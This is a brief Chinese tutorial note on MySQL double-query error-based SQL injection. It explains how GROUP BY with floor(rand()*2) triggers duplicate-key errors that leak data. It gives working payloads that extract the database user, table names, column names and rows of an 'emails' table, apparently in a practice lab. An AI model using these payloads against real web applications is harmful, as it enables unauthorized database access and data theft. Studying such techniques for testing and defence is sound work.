基础SQL知识
双查询报错注入需用到四个函数和一个group by语句:
group by ... --->分组语句 //将查询的结果分类汇总
rand() --->随机数生成函数
floor() --->取整函数 //用来对生成的随机数取整
concat() --->连接字符串
count() --->统计函数 //结合group by语句统计分组后的数据
双注报错原理在group by执行原理,group by 在执行的时候会生成一张虚拟表,而group by后面的key就是这张表的主键
因为使用rand()*2作为排序条件,那么在查询是生成的key为0,检测虚拟表无重复,再插入的时候有生成1,插入表中时主键冲突就会报出错误。并且表现为不一定是每次都报错
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),user())--+
利用子查询报出表名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))--+
爆出列名
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))--+
下载数据
1' union SELECT 1,2, count(1) from information_schema.schemata group by concat(floor(rand()*2),(select concat_ws("-",id,email_id) from emails limit 0,1))--+